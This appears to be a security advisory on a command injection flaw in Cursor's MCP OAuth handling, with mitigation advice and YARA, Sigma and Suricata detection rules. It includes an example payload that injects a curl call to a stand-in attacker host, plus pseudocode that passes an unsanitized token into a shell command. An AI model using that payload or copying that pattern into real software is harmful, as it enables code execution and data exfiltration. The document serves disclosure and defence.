CVE-2025-61591

Executive Summary

CVE-2025-61591 is a critical command injection vulnerability in Cursor, an AI-powered code editor. The flaw resides in the MCP (Model Context Protocol) OAuth authentication flow. When an untrusted MCP server is used, an attacker can impersonate the server and inject malicious commands into the interaction, leading to arbitrary code execution on the host with full user privileges. The vulnerability affects versions 1.7 and below. A patch exists in commit 2025.09.17-25b418f, but no official release has been published. The CVSS score is 8.8 (High), and the EPSS probability is 0.0%, indicating low exploitation likelihood at this time.

Supply Chain & Package Security

Cursor is a standalone desktop application, not an NPM, PyPI, Go, or Ruby package. Therefore, supply chain package security considerations are not directly applicable. However, users should verify the integrity of downloaded Cursor binaries from official sources.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable over the network via MCP OAuth.
• Attack Complexity (AC): Low (L) – No special conditions required beyond user interaction.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must connect to a malicious MCP server.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full data access possible.
• Integrity (I): High (H) – Arbitrary code execution.
• Availability (A): High (H) – System compromise can lead to denial of service.

Threat Level: High. The vulnerability allows remote code execution with user privileges, making it a prime target for initial access or lateral movement.

Deep Dive & Mechanics

The vulnerability is rooted in the MCP OAuth implementation within Cursor. MCP (Model Context Protocol) is used to extend the AI assistant's capabilities by connecting to external servers. When OAuth is used for authentication, the client (Cursor) trusts the server's responses. An attacker can set up a malicious MCP server that returns crafted responses containing injected shell commands. These commands are then executed by the Cursor agent on the host system.

Attack Flow:

1. Victim configures Cursor to use an untrusted MCP server (e.g., via a phishing link or malicious extension).
2. The MCP server initiates OAuth flow.
3. During the interaction, the server returns a maliciously crafted response containing command injection payloads.
4. Cursor's agent processes the response and executes the injected commands on the host.
5. The attacker gains arbitrary code execution with the victim's user privileges.

Root Cause: Lack of input sanitization and validation of MCP server responses, particularly in the OAuth callback handling.

Vulnerable vs. Patched Code

Vulnerable Code (Cursor <= 1.7):

// Pseudocode for vulnerable OAuth handler
function handleOAuthResponse(response) {
    const token = response.token;
    // Directly using token in shell command without sanitization
    exec(`curl -X POST https://api.example.com/auth -d "token=${token}"`, (err, stdout) => {
        // Process response
    });
}

Patched Code (Commit 2025.09.17-25b418f):

// Pseudocode for patched OAuth handler
function handleOAuthResponse(response) {
    const token = sanitizeInput(response.token);
    // Using parameterized API call instead of shell command
    fetch('https://api.example.com/auth', {
        method: 'POST',
        body: JSON.stringify({ token: token }),
        headers: { 'Content-Type': 'application/json' }
    }).then(response => {
        // Process response
    });
}

The patch replaces shell command execution with a safe API call and adds input sanitization.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A malicious MCP server (attacker-controlled).
• Victim running Cursor <= 1.7.
• Victim connects to the malicious MCP server.

Exploitation Steps:

1. Set up a malicious MCP server that responds to OAuth requests with injected commands.
2. Craft a response containing a command injection payload, e.g., "; malicious_command ;".
3. Lure the victim to connect to the malicious server (e.g., via social engineering).
4. Once connected, the injected command executes on the victim's host.

Example Payload:

{
    "token": "\"; curl http://attacker.com/$(whoami) ;\""
}

No public exploit code is available.

Blue Team (Defensive)

Detection:

• Monitor for unusual shell command execution from Cursor processes.
• Look for outbound connections to unknown MCP servers.
• Analyze Cursor logs for suspicious OAuth responses.

Hunting:

• Search for processes spawned by Cursor that execute shell commands.
• Review network traffic for connections to untrusted MCP endpoints.

Indicators of Compromise (IOCs)

• Network: Connections to unknown or suspicious MCP servers (e.g., IPs not in allowlist).
• Process: Cursor spawning shell processes (e.g., cmd.exe, /bin/sh).
• File: Unexpected files created in user directories (e.g., /tmp/, %TEMP%).
• Registry (Windows): Unauthorized modifications to HKCU\Software\Cursor.
• Logs: Cursor logs showing unusual OAuth responses with shell metacharacters.

Detection Engineering

YARA Rule

rule CVE_2025_61591_Cursor_MCP_OAuth_Injection {
    meta:
        description = "Detects Cursor MCP OAuth command injection attempts"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-61591"
    strings:
        $s1 = "token=" ascii wide nocase
        $s2 = "exec" ascii wide nocase
        $s3 = "spawn" ascii wide nocase
        $s4 = "child_process" ascii wide nocase
    condition:
        all of ($s*) and filesize < 10MB
}

Sigma Rule

title: Cursor MCP OAuth Command Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects command injection via Cursor MCP OAuth
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-61591
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\cursor.exe'
        CommandLine|contains: 'token='
    condition: selection
falsepositives:
    - Legitimate MCP server usage
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-61591 Cursor MCP OAuth Command Injection"; flow:to_server,established; content:"token="; nocase; pcre:"/token=[^&]*[\x22\x27\x60\x24]/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Cursor to the latest patched version (commit 2025.09.17-25b418f or later).
2. Avoid connecting to untrusted MCP servers.
3. Restrict outbound network access for Cursor to trusted endpoints only.

Long-term Fixes:

• Implement input validation and sanitization for all MCP server responses.
• Use parameterized API calls instead of shell command execution.
• Apply the principle of least privilege to the Cursor process.

Workarounds:

• Disable MCP OAuth functionality if not needed.
• Use a web proxy to inspect and block malicious MCP traffic.

Valters IT
Securing Digital Frontiers